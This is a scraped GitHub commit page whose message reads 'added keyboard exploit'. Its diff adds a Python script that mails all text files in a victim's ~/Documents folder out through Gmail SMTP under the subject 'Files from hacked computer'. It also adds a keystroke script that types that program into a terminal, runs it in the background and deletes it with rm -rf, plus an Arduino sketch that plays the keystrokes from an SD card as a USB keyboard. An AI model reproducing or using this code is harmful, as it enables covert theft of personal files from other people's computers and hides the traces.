-
Notifications
You must be signed in to change notification settings - Fork 12
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
added sketch for neopixel ring, added keyboard exploit with updated r…
…eadme
- Loading branch information
1 parent
2b47903
commit 5d1fc47
Showing
7 changed files
with
317 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
\.idea | ||
*.pyc | ||
# Object files | ||
*.o | ||
*.ko | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
import smtplib | ||
import glob, os | ||
from email.MIMEMultipart import MIMEMultipart | ||
from email.MIMEBase import MIMEBase | ||
from email.MIMEText import MIMEText | ||
from email.Utils import COMMASPACE, formatdate | ||
from email import Encoders | ||
|
||
smtp_user = 'sender_email_addr' | ||
smtp_pass = 'sender_password' | ||
to_address = 'receiver_address' | ||
scan_documents_location = '~/Documents/' | ||
from_address = smtp_user | ||
|
||
subject = body = 'Files from hacked computer' | ||
header = 'To :' + to_address + '\n' + 'From : ' + from_address + '\n' + 'Subject : ' + subject + '\n' | ||
|
||
def sendMail(to, subject, text, files=[]): | ||
msg = MIMEMultipart() | ||
msg['From'] = smtp_user | ||
msg['To'] = COMMASPACE.join(to) | ||
msg['Date'] = formatdate(localtime=True) | ||
msg['Subject'] = subject | ||
msg.attach( MIMEText(text) ) | ||
for file in files: | ||
part = MIMEBase('application', "octet-stream") | ||
part.set_payload( open(file,"rb").read() ) | ||
Encoders.encode_base64(part) | ||
part.add_header('Content-Disposition', 'attachment; filename="%s"' | ||
% os.path.basename(file)) | ||
msg.attach(part) | ||
|
||
server = smtplib.SMTP('smtp.gmail.com:587') | ||
server.ehlo_or_helo_if_needed() | ||
server.starttls() | ||
server.ehlo_or_helo_if_needed() | ||
server.login(smtp_user, smtp_pass) | ||
server.sendmail(smtp_user, to, msg.as_string()) | ||
server.quit() | ||
|
||
sendMail([to_address], subject, body, glob.glob("{0}/*.*txt".format(scan_documents_location))) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t | ||
Sleep::200 | ||
vi hack.py | ||
Sleep::200 | ||
Command::KEY_INSERT | ||
import smtplib | ||
import glob, os | ||
from email.MIMEMultipart import MIMEMultipart | ||
from email.MIMEBase import MIMEBase | ||
from email.MIMEText import MIMEText | ||
from email.Utils import COMMASPACE, formatdate | ||
from email import Encoders | ||
|
||
smtp_user = 'sender_email_addr' | ||
smtp_pass = 'sender_password' | ||
to_address = 'receiver_address' | ||
scan_documents_location = '~/Documents/' | ||
from_address = smtp_user | ||
|
||
subject = body = 'Files from hacked computer' | ||
header = 'To :' + to_address + '\n' + 'From : ' + from_address + '\n' + 'Subject : ' + subject + '\n' | ||
|
||
def sendMail(to, subject, text, files=[]): | ||
msg = MIMEMultipart() | ||
msg['From'] = smtp_user | ||
msg['To'] = COMMASPACE.join(to) | ||
msg['Date'] = formatdate(localtime=True) | ||
msg['Subject'] = subject | ||
msg.attach( MIMEText(text) ) | ||
for file in files: | ||
part = MIMEBase('application', "octet-stream") | ||
part.set_payload( open(file,"rb").read() ) | ||
Encoders.encode_base64(part) | ||
part.add_header('Content-Disposition', 'attachment; filename="%s"' | ||
% os.path.basename(file)) | ||
msg.attach(part) | ||
|
||
server = smtplib.SMTP('smtp.gmail.com:587') | ||
server.ehlo_or_helo_if_needed() | ||
server.starttls() | ||
server.ehlo_or_helo_if_needed() | ||
server.login(smtp_user, smtp_pass) | ||
server.sendmail(smtp_user, to, msg.as_string()) | ||
server.quit() | ||
|
||
sendMail([to_address], subject, body, glob.glob("{0}/*.*txt".format(scan_documents_location))) | ||
Sleep::50 | ||
Command::KEY_ESC | ||
Sleep::100 | ||
:x | ||
Sleep::200 | ||
nohup python hack.py & | ||
Sleep::500 | ||
rm -rf hack.py | ||
Sleep::200 | ||
Command::KEY_LEFT_ALT,KEY_F4 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,131 @@ | ||
#include "Keyboard.h" | ||
#include <SPI.h> | ||
#include <SD.h> | ||
|
||
String filenameOnCard = "hack.txt"; | ||
String sleepCommandStartingPoint = "Sleep::"; | ||
String commandStartingPoint = "Command::"; | ||
int delayBetweenCommands = 10; | ||
const int buttonPin = 8; | ||
const int chipSelect = 10; | ||
int previousButtonState = HIGH; | ||
|
||
void setup() { | ||
pinMode(buttonPin, INPUT); | ||
Serial.begin(9600); | ||
Keyboard.begin(); | ||
if (!SD.begin(chipSelect)) { | ||
Serial.println("Card failed, or not present!"); | ||
return; | ||
} | ||
} | ||
|
||
void loop() { | ||
int buttonState = digitalRead(buttonPin); | ||
if ((buttonState != previousButtonState) && (buttonState == HIGH)) { | ||
sdFileToKeyboard(); | ||
Serial.println("Uploaded!"); | ||
delay(500); | ||
} | ||
previousButtonState = buttonState; | ||
} | ||
|
||
void sdFileToKeyboard() { | ||
File dataFile = SD.open(filenameOnCard); | ||
if (!dataFile) { | ||
Serial.println("The specified filename is not present on SD card, check filenameOnCard !"); | ||
} | ||
String line; | ||
while (dataFile.available()) { | ||
line = dataFile.readStringUntil('\n'); | ||
Serial.println(line); | ||
sendToKeyboard(line); | ||
} | ||
dataFile.close(); | ||
} | ||
|
||
void sendToKeyboard(String line) { | ||
String workingLine = line; | ||
if (workingLine.indexOf(sleepCommandStartingPoint) != -1) { | ||
sleepFor(line); | ||
return; | ||
} | ||
if (workingLine.indexOf(commandStartingPoint) == -1) { | ||
Serial.print("Text:");Serial.println(line); | ||
Keyboard.println(line); | ||
pressEnter(); | ||
return; | ||
} | ||
|
||
Serial.println("Command:"); | ||
int charPosition = commandStartingPoint.length(); | ||
int lineLength = line.length(); | ||
workingLine += ","; | ||
|
||
while (workingLine != "") { | ||
workingLine = workingLine.substring(charPosition); | ||
Serial.print("WorkingLine:");Serial.println(workingLine); | ||
int specialCommandDelimiterPosition = workingLine.indexOf(","); | ||
String command = workingLine.substring(0, specialCommandDelimiterPosition); | ||
charPosition = specialCommandDelimiterPosition + 1; | ||
if (command != "") { | ||
Serial.print("Command found:");Serial.println(command); | ||
Keyboard.press(getCommandCode(command)); | ||
delay(delayBetweenCommands); | ||
} | ||
} | ||
Keyboard.releaseAll(); | ||
delay(delayBetweenCommands); | ||
} | ||
|
||
void pressEnter() { | ||
Keyboard.press(KEY_RETURN); | ||
Keyboard.releaseAll(); | ||
} | ||
|
||
void sleepFor(String line) { | ||
int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); | ||
Serial.print("Sleeping for:");Serial.println(sleepAmount); | ||
delay(sleepAmount); | ||
} | ||
|
||
char getCommandCode(String text) { | ||
char textCharacters[2]; | ||
text.toCharArray(textCharacters, 2); | ||
char code = textCharacters[0]; | ||
|
||
code = (text == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL : code; | ||
code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT : code; | ||
code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT : code; | ||
code = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW : code; | ||
code = (text == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW : code; | ||
code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW : code; | ||
code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW : code; | ||
code = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI : code; | ||
code = (text == "KEY_BACKSPACE") ? KEY_BACKSPACE : code; | ||
code = (text == "KEY_TAB") ? KEY_TAB : code; | ||
code = (text == "KEY_RETURN") ? KEY_RETURN : code; | ||
code = (text == "KEY_ESC") ? KEY_ESC : code; | ||
code = (text == "KEY_INSERT") ? KEY_INSERT : code; | ||
code = (text == "KEY_DELETE") ? KEY_DELETE : code; | ||
code = (text == "KEY_PAGE_UP") ? KEY_PAGE_UP : code; | ||
code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN : code; | ||
code = (text == "KEY_HOME") ? KEY_HOME : code; | ||
code = (text == "KEY_END") ? KEY_END : code; | ||
code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK : code; | ||
code = (text == "KEY_F1") ? KEY_F1 : code; | ||
code = (text == "KEY_F2") ? KEY_F2 : code; | ||
code = (text == "KEY_F3") ? KEY_F3 : code; | ||
code = (text == "KEY_F4") ? KEY_F4 : code; | ||
code = (text == "KEY_F5") ? KEY_F5 : code; | ||
code = (text == "KEY_F6") ? KEY_F6 : code; | ||
code = (text == "KEY_F7") ? KEY_F7 : code; | ||
code = (text == "KEY_F8") ? KEY_F8 : code; | ||
code = (text == "KEY_F9") ? KEY_F9 : code; | ||
code = (text == "KEY_F10") ? KEY_F10 : code; | ||
code = (text == "KEY_F11") ? KEY_F1 : code; | ||
code = (text == "KEY_F12") ? KEY_F2 : code; | ||
|
||
return code; | ||
} | ||
|
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.